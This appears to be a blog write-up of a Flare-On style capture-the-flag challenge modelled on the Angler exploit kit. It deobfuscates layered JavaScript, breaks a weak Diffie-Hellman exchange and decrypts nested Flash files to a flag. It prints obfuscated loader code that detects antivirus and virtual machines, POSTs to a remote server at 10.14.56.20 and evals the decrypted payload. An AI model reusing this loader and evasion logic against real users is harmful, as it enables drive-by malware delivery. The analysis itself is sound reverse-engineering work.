ogcmV0dXJuIGI7CiB9CiBpZiAoYTxiKSB7CiByZXR1cm4gSWwxSWwxSWwxZChiLUlsMUliW0lsMUlxXShiL2EpKmEsYSk7CiB9CiBlbHNlIGlmIChhPT1iKSB7CiByZXR1cm4gYTsKIH0KIGVsc2UKIHsKIHJldHVybiBJbDFJbDFJbDFkKGIsYSk7CiB9CiB9OwoKIGZ1bmN0aW9uIElsMUlsMUlsMWUoYikgewogdmFyIGEgPSBuZXcgQWN0aXZlWE9iamVjdCgnJ1snPl88J10oJ3olODclOEMlODRIJTBEJUIwJUUwYyUyMCU5NyU1QkslREElRjAlRUInLCA1NSwgNywgMTA5KSk7CiBhLmFzeW5jID0gdHJ1ZTsKIGFbJydbJ2xvbCddKCdZJThCJTA4RCVBNTElQkQnLCA1MywgMTEsIDE1NyldKCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAicmVzOi8vJyArIGIgKyAnIj4nKTsKIGlmIChhWycnWydvM28nXSgndSUxMSU3QiVFRiU4OC0lQzMlQTYlM0ElOTInLCA1LCAxMSwgNTcpXVsnJ1snT0dDJ10oJyU1RVQlRTUlOTUlMjElQUQlMDBmJThFJywgNTksIDE5LCAxOTcpXSA9PSAtMjE0NzAyMzA4MykKIHJldHVybiAxOwogcmV0dXJuIDA7CiB9OwoKIGZ1bmN0aW9uIElsMUlsMUlsMWYoKSB7CiB0cnkgewogdmFyIGEgPSBwZXJmb3JtYW5jZS5ub3coKSAvIDEwMDA7CiB9IGNhdGNoIChlKSB7IHJldHVybiAwO30KCiB2YXIgYiA9IHBlcmZvcm1hbmNlLm5vdygpIC8gMTAwMCAtIGE7CiBmb3IgKHZhciBpPTA7aTwxMDtpKyspIHsKIGI9SWwxSWwxSWwxZChiLCBwZXJmb3JtYW5jZS5ub3coKS8xMDAwIC0gYSk7CiB9CgogdmFyIGMgPSBJbDFJYlsnJ1snLSwtJ10oJyU2MCVFMyVBMyUxRSVCRScsIDE4LCA5LCAyMzQpXSgxL2IpOwogaWYgKElsMUliWycnWyctLC0nXSgnYiVEMkgnLCAzLCAyMywgMTA3KV0oYy0xMDAwMDAwMCkgPCAxMDApIHsKIHJldHVybiAxOwogfQogZWxzZSBpZiAoSWwxSWJbJydbJ2xvbCddKCclMEUlMTMlQzgnLCAxMTEsIDM3LCAxMDIpXShjLTM1Nzk1NDUpIDwgMTAwKSB7CiByZXR1cm4gMTsKIH0KIGVsc2UgaWYgKElsMUliWycnWydPX28nXSgnUiU1QyUyOCcsIDUxLCAxMTksIDEzNyldKGMtMTQzMTgxODApIDwgMTAwKSB7CiByZXR1cm4gMTsKIH0KIAogdHJ5IHsKIHZhciBkID0gc2NyZWVuOwogaWYgKChkWycnWydPR0MnXSgneSVGQUglNURyJywgMTQsIDUsIDc3KV0gPCAoMTM2MjVeMTIzNDUpKSB8fCAoZFsnJ1snPl9PJ10oJyVGQ2YlODNuSCU5QicsIDE0OCwgOSwgMjA3KV0gPCAoNjYyNTZeNjU1MzYpKSkgcmV0dXJuIDE7CiB9IGNhdGNoKHgpIHtyZXR1cm4gMTt9CgogcmV0dXJuIDA7CiB9OwoKIGlmKElsMUlsMUlsMWYoKSA+PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWYoKSA+PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWUoJydbJ09HQyddKCclQzUlQkJAJTAwJUZCJTAzbCUwQyUwOSolQTglMUMlMTM2JTk0JTVFJTNCJTAyJUZFJTdCJTI2byVEMWVLJTdCJUQ3JUEzbCU5OCVGOCU4QyU2MCU5MlIlQTQlOEIlQkUnLCAxNjYsIDY1LCA5MSkpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snPl88J10oJ3ElRjMlQUMlRDAlRTdrJTg4JTJDJTdEMiVCNCVBQyVGRiUwRSU5MCVERW8lOEElRDIrJTFBJTg3JUI1RSU5RkMlQUIlQjMlMjAvJUJCJUQzJUJGJUM2JUE1JTE0JTBCJUNCJUJGWiU5OScsIDE4LCAxNywgMTUxKSkgPT0gMSkgcmV0dXJuIDI7CiBpZihJbDFJbDFJbDFlKCcnWydsb2wnXSgnJTFCayUxNjQlRjUlOUIlMEFoJUI3JUVBJUNFJUY4JTlETiVDMiplJUQyJUU4JUFGSCVGNyU5NyVFMTUlNUJRZyUwMiVBMDMlQUMlRkElMUMlMDUlRjYlQ0ZwJUEwVCU5OSVDQScsIDEyMCwgMzMsIDIxNykpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snbzNvJ10oJyVEMSVEOSU4NCVGNiVFN0EwYiVERCVDOEwlRUElN0YlRjR4JUMwJUNGJUEweiU4RCUxQSVBRCVBREslRkYlMTklRjMlQjUlQTB1JTEzJUFEJUM0KiVEQ2QlMDElQTFHJTE0JUY5JywgMTc4LCA1LCAxMDUpKSA9PSAxKSByZXR1cm4gMjsKIGlmKElsMUlsMUlsMWUoJydbJz5fTyddKCclODAlRjRlcyVFNiUxNCU4MSVCRkxVJUNELyU5RSVBMUlNJUZFTSVEQiU4OCU1QlglRkMlRjYlOEUlQTQycCVFMSVFRiU4MCVCNzYlNUQlRkMlQUElOUMlQTM2JywgMjI3LCAxMjksIDEwNykpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snLVEtJ10oJ04lODIlQzclQzElMDAlQkElRjMlMURSJTAzTyU5RCUxOCVGRiU3QiVDRnAlMUIlQjlaJTNENiVFRSU5NHAlOTJwYiUwNyVCRSU5MGIlNUUlREVVJTA1MCVDNycsIDQ1LCA5LCAzNSkpID09IDEpIHJldHVybiAyOwogaWYoSWwxSWwxSWwxZSgnJ1snT3J6J10oJyU5NSVCN1glMEMlRkIlQzclQzQlMThZJUI2JTYwJUMwJUIzJTkyJUFDJUNBJTBCJUNFRiU5N2ZreSU5MSVGQkclREZfTCUzQyU3QiU3QiVCQiUxRCVDQUglMEIlRkEnLCAyNDYsIDMzLCAyMTUpKSA9PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWUoJydbJ15fXiddKCclN0NCaSVCMTIlQ0F1JTVEJUEwY3ElRUQlRUElQ0YlRkQlRUYlRTIlOUIlMTclQ0ElQUYlQTZoJTk0JTIyMm4yVSVBRSUxNkIlQjglQURwNU8qJTgyJUVCJUM0JywgMzEsIDUsIDIyMSkpID09IDEpIHJldHVybiAyOwoKIHJldHVybiAwOwp9CgpJbDFJemEgPSBmdW5jdGlvbigpIHsKIHZhciBhID0gbmV3IElsMUl5YSgpOwogdmFyIGIgPSBJbDFJSWxsMWEsIGMgPSBJbDFJSWxsMWI7CiB2YXIgdyA9IElsMUl2LCB5ID0gSWwxSVosIHogPSBJbDFJWSwgeCA9IG5ldyBJbDFJc2EoKSwgdiA9IG5ldyBJbDFJd2EoKSwgdSA9IElsMUlxYSgpOwogdHJ5IHsKIHZhciBkID0gewogZzogYS5MW0lsMUlvXShJbDFJYmJzaSo4KSwKIEE6IGEuSmJbSWwxSW9dKCgnICdbSWwxSXBdKDApKS9JbDFJYmJzaSksCiBwOiBhLmhhW0lsMUlvXSgoKCcyJ1tJbDFJcF0oMCkpIC0gMikvMyksCiB9OwogZCA9IHkodygnJyBbJycgWydPR0MnXSgnViVFNSUzQycsIDQ5LCA5LCAyMDEpXSgpLCBiW0lsMUliYnNnXShkKSkpOwogdmFyIGUgPSBuZXcgYzsKIGVbSWwxSWJic2JdKElsMUliYnNwLCB4LmdXLCAhSWwxSWJic3QpOwogZVtJbDFJYmJzYV0oeC5Zdyx4LmRjKQogZVtJbDFJYmJzYV0oeC5LSixkW0lsMUluXSk7CiBlW0lsMUliYnNkXSA9IGZ1bmN0aW9uKCkgewogaWYgKGVbSWwxSWJic2VdPT09KElsMUliYnNjW0lsMUluXSkmJmVbSWwxSWJic2ZdPT09KDE1ODMyXjE1NjMyKSkKIHsKIHZhciBkID0gYltJbDFJYmJzaF0odygnJyBbJycgWydsb2wnXSgnJTBBYUgnLCA5OCwgMTcsIDEzNSldKCksIHooSWwxSWJic2ooZVtJbDFJYmJza10pKSkpOwogdmFyIGYgPSBJbDFJbGxsMUkxbC5JbDFJdTsKIHZhciBnID0gbmV3IGYoZC5CLCAxNik7CiB2YXIgaCA9IGcuSWwxSVgoYS5pYywgYS5oYSk7CiB2YXIgaiA9IHcoaC50b1N0cmluZygxNiksIGQuZmZmZmYpOwogaWYgKHUgPCAxKSB7IGV2YWwoaik7fQogfQogfTsKIGlmICghdi5NaSAmJiAhdi5wQSAmJiAhdi5DQSl7CiBlW0lsMUliYnNjXShkKTsKIH0KIH0gY2F0Y2goZikge307Cn0KCmZ1bmN0aW9uIElsMUlsYSgpIHsKIHRyeSB7CiBJbDFJemEoKTsKIH0gY2F0Y2ggKElsMUlOYSkge307Cn07Cgp0cnkgewogSWwxSWxhKCk7Cn0gY2F0Y2gobWVoKSB7fTs=",
        b, g, f, e, c, d = 0,
        h = '',
        x = window['UoqK1Yl'];

    do
        b = x.indexOf(a.charAt(d++)),
        g = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        e = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        c = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
        f = b << 18 | g << 12 | e << 6 | c,

        b = f >> 16 & 255,
        g = f >> 8 & 255,
        f &= 255,

        h = 64 == e ? h + String.fromCharCode(b) : 64 == c ? h + String.fromCharCode(b, g) : h + String.fromCharCode(b, g, f);
    while (d < a.length);

    return h;
}

The aim here is similar to the previous layer's. Function(a) (line 20) is called to invoke the next layer of javascript; we need to make sure variable 'a' contains proper javascript.

The checks are much simpler here and happen between lines 73 - 77. We want window.gFVaUK and window.LAAOEpH to both be false so we can satisfy the condition. The latter depends on lines 54 - 71 where it tries to load Kaspersky as an ActiveXObject and if it doesn't find it, it fails, leaving window.LAAOEpH set to false as we want. The first check succeeds if we run the script in Internet Explorer. Bypass them by modifying the code or just run the page in IE and we get to the third layer.

Layer3 references a few objects from layer2 and hence we need to copy them over. These are lines 2-15 and line 30. Once this is done we can discard layer2 and focus solely on this layer. I'll only be pasting the relevant parts for layer3 as it's over 1000 lines of code. If we run file we notice that it performs an XMLHttpRequest to the following URL:
  • http://10.14.56.20:18089/i_knew_you_were_trouble
and contains a base64 string which changes every time a new request is made. This request is also present in the pcap we started with the following base64 string:

ErZVpc7xaW3bf0h8ythQz62wRdQlMpg3nTEKPYsyE9OtxAU4fCbwYg8zfbxlTnLb3BpLkcSSeuiskPQoEeyrEdZts9jKxSRiiYlr0Q/PDPhri78Sm4vTsUx/ascx7lt0EEvP5YsvQTjW2QvS1+3dyk7x8c8QlQ==

The goal is to understand how the requests are encrypted and get the original content. The following is the function in layer3 which encrypts the request, performs an XMLHttpRequest and decrypts the response:

Il1Iza = function() {
    var a = new Il1Iya();
    var b = Il1IIll1a, c = Il1IIll1b;
    var w = Il1Iv, y = Il1IZ, z = Il1IY, x = new Il1Isa(), v = new Il1Iwa(), u = Il1Iqa();
    
    try {
        var d = {
            g: a.L[Il1Io](Il1Ibbsi * 8),
            A: a.Jb[Il1Io]((' ' [Il1Ip](0)) / Il1Ibbsi),
            p: a.ha[Il1Io]((('2' [Il1Ip](0)) - 2) / 3),
        };
        //base64_encode ( RC4 (flareon_is_so_cute, [request] ) )
        d = y(w('' ['' ['OGC']('V%E5%3C', 49, 9, 201)](), b[Il1Ibbsg](d)));
        var e = new c;
        //initializes XMLHttpRequest('POST','http://10.14.56.20:18089/i_knew_you_were_trouble', true)
        e[Il1Ibbsb](Il1Ibbsp, x.gW, !Il1Ibbst);
        //sets header to json
        e[Il1Ibbsa](x.Yw, x.dc)
        //sets content length header
        e[Il1Ibbsa](x.KJ, d[Il1In]);
        //onreadystatechange handler
        e[Il1Ibbsd] = function() {
            //if readystate == send.length & status == 200
            if (e[Il1Ibbse] === (Il1Ibbsc[Il1In]) && e[Il1Ibbsf] === (15832 ^ 15632)) {
                // RC4(how_can_you_not_like_flareon, base64_decode ( [response] ))
                var d = b[Il1Ibbsh](w('' ['' ['lol']('%0AaH', 98, 17, 135)](), z(Il1Ibbsj(e[Il1Ibbsk]))));
                var f = Il1Illl1I1l.Il1Iu;
                //Diffie-Hellman stuff to get decryption key using B (d.B)
                var g = new f(d.B, 16);
                var h = g.Il1IX(a.ic, a.ha); 
                //decrypt contents (d.fffff) using Diffie-Hellman
                var j = w(h.toString(16), d.fffff);
                if (u < 1) {
                    //evaluate decrypted contents
                    eval(j);
                }
            }
        };
        if (!v.Mi && !v.pA && !v.CA) {
            //send XMLHttpRequest
            e[Il1Ibbsc](d);
        }
    } catch (f) {};
}

On line 13, the request is RC4 encrypted using the key 'flareon_is_so_cute' and the result is base64'd. If we reverse the process we get the contents of our base64 string found in the pcap:
{
    "g":"91a812d65f3fea132099f2825312edbb",
    "A":"16f2c65920ebeae43aabb5c9af923953",
    "p":"3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e"
} 

For those of you who are malware analysts and have suffered due to Angler's implementation of the Diffie-Hellman to encrypt shellcode delivery, these variables should trigger off all sorts of alarms. The only missing parameter to get hold of the private key is B, which is generated by the server and hence we need to look at the response present in the pcap. We decrypt the response in the same way we did for the request but this time using the key 'how_can_you_not_like_flareon':
{
    "B":"3101c01f6b522602ae415d5df764587b",
    "fffff": "<loads of garbage>"
}

Let's take a small break and check what we've got. We have parameters g, A, p, B and the DH-encrypted payload fffff. Thanks to the research at SecureList, this is all we need to crack the Diffie-Hellman and obtain the private key. The research can be found here. To make use of the java program at the bottom we need to calculate φ(p) and it's expansion into prime factors:

     p   = 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e
         = 77413500198989862721437805355107761214

 => φ(p) = 38532794441885460791256898927871100000
         =  2^5 * 3^4 * 5^5 * 7 * 37 * 61 * 73 * 113 * 389 * 4651 * 20175236914405679

 =>  q   =  {32L, 81L, 3125L, 7L, 37L, 61L, 73L, 113L, 389L, 4651L, 20175236914405679L }


Wolfram Alpha and CryptoTool can be used to help out with the computations. We now plug in all the constants into the java program:
import java.math.BigInteger;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import java.util.TreeMap;
import java.util.Vector;


public class DH_breaker {
    
    static BigInteger p = new BigInteger("3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e", 16);
    static BigInteger psi = new BigInteger("38532794441885460791256898927871100000");
    static BigInteger g = new BigInteger("91a812d65f3fea132099f2825312edbb", 16).mod(p);
    static BigInteger A = new BigInteger("16f2c65920ebeae43aabb5c9af923953", 16);    
    static BigInteger B = new BigInteger("3101c01f6b522602ae415d5df764587b", 16);
    static long[] q = new long[]{32L, 81L, 3125L, 7L, 37L, 61L, 73L, 113L, 389L, 4651L, 20175236914405679L};


    static int q_len = q.length;
    static HashSet[] xi = new HashSet[q_len];
    static BigInteger ai[] = new BigInteger[q_len];
    static HashSet res = new HashSet();
    
    static void rec(int ind)
    {
        if (ind == q_len)
        {
            BigInteger x = BigInteger.ZERO;
            for(int i=0;i<q_len;i++)
            {
                BigInteger mn = new BigInteger(((Long)q[i]).toString());
                BigInteger M = psi.divide(mn);
                x = x.add(ai[i].multiply(M).multiply(M.modInverse(mn)));
            }
            res.add(B.modPow(x.mod(psi), p));
            return;
        }
        
        Iterator<Long> it = xi[ind].iterator();
        while(it.hasNext()){
            ai[ind] = new BigInteger(it.next().toString());
            rec(ind + 1);
        }      
    }
    
    public static void main(String[] args) {

        for(int i=0;i<q_len;i++)
        {
            xi[i] = new HashSet<Long>();
            long qi = q[i];
            int H = (int)Math.sqrt((double)qi) + 1;
                 
            BigInteger _a = g.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p);
            BigInteger _b = A.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p);
            
            BigInteger _c = _a.modPow(new BigInteger(((Integer)H).toString()), p);
            BigInteger _cp = _c;           
            int u_size = 1000000;
            
            boolean stop = false;
            for(int u_part = 1;u_part<=H && !stop;u_part+=u_size)
            {
                if (H > u_size) 
                {
                    System.out.print("[i] Processing ");
                    System.out.println(u_part);
                }
                TreeMap<BigInteger, Integer> table = new TreeMap<>();
                for(int u=u_part;u<=H && u<u_part + u_size;u++)
                {
                    table.put(_cp, u);
                    _cp = _cp.multiply(_c).mod(p);
                }
                BigInteger z = _b;
                for(int v=0;v<=H;v++)
                {
                    if (table.get(z) != null)
                    {
                        xi[i].add((((long)H)*table.get(z) - v) % qi);
                        stop = true;
                        break;
                    }
                    z = z.multiply(_a).mod(p);              
                }
                table.clear();
                System.gc();
            }
            System.out.println(xi[i].toString());
        } 
        rec(0);
        
        Iterator<BigInteger> it = res.iterator();
        while(it.hasNext()){
            System.out.println(it.next().toString(16));
        } 
    }
    
}

We compile and run it:

Command Prompt
C:\>javac DH_breaker.java Note: DH_breaker.java uses unchecked or unsafe operations. Note: Recompile with -Xlint:unchecked for details. C:\>java DH_breaker [3] [70] [2958] [5] [16] [12] [21] [32] [132] [2873] [i] Processing 1 [i] Processing 1000001 [i] Processing 2000001 [ .. snip .. ] [i] Processing 94000001 [13449667480594038] 24c9de545f04e923ac5ec3bcfe82711f C:\>

We now have the decryption key: 24c9de545f04e923ac5ec3bcfe82711f. The easiest way to apply this and decrypt the response from the pcap is to set Fiddler to autorespond with this request and apply the following alterations to the layer3 javascript:


 [ .. snip .. ]

 //onreadystatechange handler
 e[Il1Ibbsd] = function() {
     //if readystate == send.length & status == 200
     if (e[Il1Ibbse] === (Il1Ibbsc[Il1In]) && e[Il1Ibbsf] === (15832 ^ 15632)) {
         // RC4(how_can_you_not_like_flareon, base64_decode ( [response] ))
         var d = b[Il1Ibbsh](w('' ['' ['lol']('%0AaH', 98, 17, 135)](), z(Il1Ibbsj(e[Il1Ibbsk]))));
         var f = Il1Illl1I1l.Il1Iu;
         //Diffie-Hellman stuff to get decryption key using B (d.B)
         var g = new f(d.B, 16);
         var h = g.Il1IX(a.ic, a.ha); 
         // The key we obtained earlier
         priv_key = "24c9de545f04e923ac5ec3bcfe82711f";  
         //decrypt contents (d.fffff) using Diffie-Hellman
         //var j = w(h.toString(16), d.fffff);
         var j = w(priv_key, d.fffff);
         //if (u < 1) {
             //evaluate decrypted contents
             eval(j);
         //}
     }
 };

 [ .. snip .. ]

Running the page again we are greeted with 2 message boxes:


Nice!! We now have the key for the flash file: HEAPISMYHOME

Part II: The Flash File


The flash file expects a key to "keep going":


Hitting the Submit button displays a few message boxes that something has been unlocked but nothing else. Let's load it into JPEXS. The button handler basically runs the function d3cryp7AndL0ad() with the supplied key as the parameter. This function is displayed below.

    public function d3cryp7AndL0ad(param1:String) : void
    {
        var _loc2_:Loader = new Loader();
        var _loc3_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain,null);
        var _loc4_:Class = Run_challenge1;
        //RC4-ish ( binaryData, key )
        var _loc5_:ByteArray = pr0udB3lly(ByteArray(new _loc4_()),param1);
        var _loc6_:String = "1172ca0ede560b08d97b270400347ede";
        if(MD5.hashBytes(_loc5_) == _loc6_)
        {
            this.loaded = true;
            _loc2_.loadBytes(_loc5_);
        }
    }

This function is pretty straight forward too and the line we're interested in is line 7. The function pr0udB3lly() takes a bytearray and a string, appends the first 16 bytes of the bytearray to the input string, computes the MD5 hash of the concatenation and uses this as the key to RC4-decrypted the rest of the bytearray. The result is another flash file.

Load it into JPEXS and deobfuscate it using the P-code deobfuscation feature. This feature is pretty amazing, when it works that is.


Luckily for us it does work on this SWFSecure obfuscation. The part we need to focus on is the constructor of class §-_§. We notice that the function is loading some external parameters but we know for sure that the landing page does not pass any parameters to the flash file, and neither does the previous layer:


 [ .. snip .. ]

 //loads parameters
 var _loc1_:Object = this.root.loaderInfo.parameters;
 //uses loaded params
 if(_loc1_.flare == "On")
 {
     _loc2_ = new Loader();
     _loc3_ = new LoaderContext(false,this.root.loaderInfo.applicationDomain,null);
     this.§-_---_§ = new Array();
     this.§-__-_--§ = new ByteArray();
     //uses loaded params twice
     this.§-_-___-§ = _loc1_.x;
     this.§--___-_§ = _loc1_.y;

 [ .. snip .. ]


As we can see, 3 parameters should have been loaded from somewhere. If we take a look at the binaryData folder, something catches our eye:


The name suggests that there's some information on Imgur. As images on Imgur are referenced using 7 random characters we visit http://imgur.com/vnUziJP:


If we download the image we notice that the size of the image is equal to size of the Int3lIns1de_t3stImgurvnUziJP binary data; there's a high chance that this binary data is the encrypted version of the image. Also, the class §-_§ contains an RC4 encryption/decryption function. With a plaintext-ciphertext pair encrypted using RC4, we don't require a key to decrypt other messsages; the question is, which one of the binary data might contain something interesting?

If we look at the constructor again, we notice that all the binary data objects are being pushed into a ByteArray() object, but 2 of them are not. In fact they're just loaded without being used. One of them is the Int3lIns1de_t3stImgurvnUziJP binary data and the other is '31: --__-.-__--__'. Let's decrypt this one using the following:


 //Encrypted version of the image
 CT_in = open("CT.bin", 'rb')
 //The image itself
 PT_in = open("PT.png", 'rb')
 //The other binary data
 TBD_in = open("to_be_decrypted.bin", 'rb')
 // resultant file
 answer = open("result.bin",'wb')

 CT_contents = CT_in.read()
 PT_contents = PT_in.read()
 TBD_contents = TBD_in.read()

 //Compute ciphertext1 XOR plaintext1 = ciphertext2 XOR plaintext2
 CT_squared = [ chr(ord(a) ^ ord(b)) for a,b in zip(CT_contents,PT_contents)]
 //Compute ( ciphertext2 XOR plaintext2 ) XOR ciphertext2
 result = [chr(ord(a) ^ ord(b)) for a,b in zip(CT_squared,TBD_contents)]
 //write plaintext2
 answer.write(''.join(result))
 answer.close()


If we open the result.bin file we get:
 x: 1BR0K3NCRYPT0FTW 
 y: 47:14546,46:1617,35:239,... [ .. snip ..] ...,6:733,21:4,1:1418,40:1618

So finally we have the missing parameters. We now have to understand what's happening in the constructor of class §-_§, translate it into python and get the next flash file.

PS: If anyone knows of a way to dump the next SWF by inserting x and y in the current flash file and dumping the resultant SWF without coding the entire algorithm in python, please tell me how!!

The following is what this flash file does:
  1. Takes 50 of the 52 binary data blobs and pushes them into a single array, call this ARRAY
  2. Decrypts each element of ARRAY, i.e. each binary data, with 1BR0K3NCRYPT0FTW
    • Uses the algorithm described above where it appends the first 16 chars to the key, MD5 hashes it, and uses it to RC4 decrypt
  3. Splits parameter y by ',' and splits each of them by ':'
  4. For each of the coordinate (x,y) constructed in bullet point 3, get byte ARRAY[x][y]; concatenate them
  5. If the MD5 hash of the result is equal to 600aa47f484cbd43ecd37de5cf111b10, load it

We're only interested in bullet points 1 till 4. The following is the python implementation of these:


    import hashlib
    import base64
    import glob,os

    def KSA(key):
        keylength = len(key)
        S = range(256)
        j = 0
        for i in range(256):
            j = (j + S[i] + key[i % keylength]) % 256
            S[i], S[j] = S[j], S[i]  # swap
        return S

    def PRGA(S):
        i = 0
        j = 0
        while True:
            i = (i + 1) % 256
            j = (j + S[i]) % 256
            S[i], S[j] = S[j], S[i]  # swap
            K = S[(S[i] + S[j]) % 256]
            yield K

    def RC4(key):
        S = KSA(key)
        return PRGA(S)

    def convert_key(s):
        return [ord(c) for c in s] 

    if __name__ == '__main__':

        file_order = ["--_-__","---","---__-","-__-___","-_____-_",
                      "-___-___","--_--_","-_-__","---_","---_--",
                      "-----","-___-_-","-_______","-_-__-_","--__---",
                      "-____---","-___","-__-_-_","-___-","-_____-",
                      "-____-_","--_---","-_-__--","-__","-----_","-____-",
                      "--_--_-","--___-","----__","---__-_","---_---",
                      "-_--_--","-__--_-","-----_-","-__-","---__--",
                      "--__--","--_--__","-_-_","-_---","--_-__-",
                      "-_-_-_-","-_-____","---_-_","-__---","--_-_",
                      "-_--_-_","--_-___","-_--__-","-___-__"]

        map = "47:14546,46:1617,35:239,4:47,35:394,3:575,

               [ .. snip .. ]

              ,17:381,37:9021,31:676,33:15200,21:479,26:58,
              16:304,6:733,21:4,1:1418,40:1618"
 
 
        decrypted_files = []
 
 #decrypt files
 for file in file_order:
            f_in = open("binaryData\\" + file + ".bin", 'rb')
            f_contents = f_in.read()
  
            nonce = f_contents[:16]
            input =  "1BR0K3NCRYPT0FTW"
 
            m = hashlib.md5()
            m.update(input + nonce)
            key =  m.hexdigest()
 
            plaintext = f_contents[16:]
            key = convert_key(key)
            keystream = RC4(key)
  
            temp_result = []
            for c in plaintext:
                temp_result.append(chr(ord(c) ^ keystream.next()))
            decrypted_files.append(temp_result)
 
        merged_file = []
        rounds = map.split(',')
        for round in rounds:
            mapping = round.split(':')
            merged_file.append(decrypted_files[int(mapping[0])][int(mapping[1])])
  
        f_out = f_in = open("layer3.swf", 'wb')
        f_out.write(''.join(merged_file))
        f_out.close()

The script produces the 3rd, and last SWF file for the challenge. JPEXS struggles to decompile it and increasing the timeout does not help; it still fails:


We can still deobfuscate it though! The result is 1582 lines of Actionscript3. All we need to do here is trace the _loc2_ variable at the end of the function and we get the very well-deserved key:

angl3rcan7ev3nprim3@flare-on.com


PS: Work files for this challenge including scripts, each layer of javascript and flash files, etc: Download
key: i_really_R34LL7_h8_flava

3 comments:

  1. good post! thanks for sharing. Fiddle screenshot with the autoresponse and the rule would be nice ;) What did you write in Fiddle autoresponse "if the request matches..." ?

    ReplyDelete
  2. yep .. if I remember well you can right click on the request and do it straight from there. Then you can give it the path of the file containing just the response contents (taken form pcap), and done

    ReplyDelete
  3. check out this post : https://vulnerablespace.blogspot.co.uk/2016/04/malware-analysing-and-repurposing.html .. I explain it a bit better there

    ReplyDelete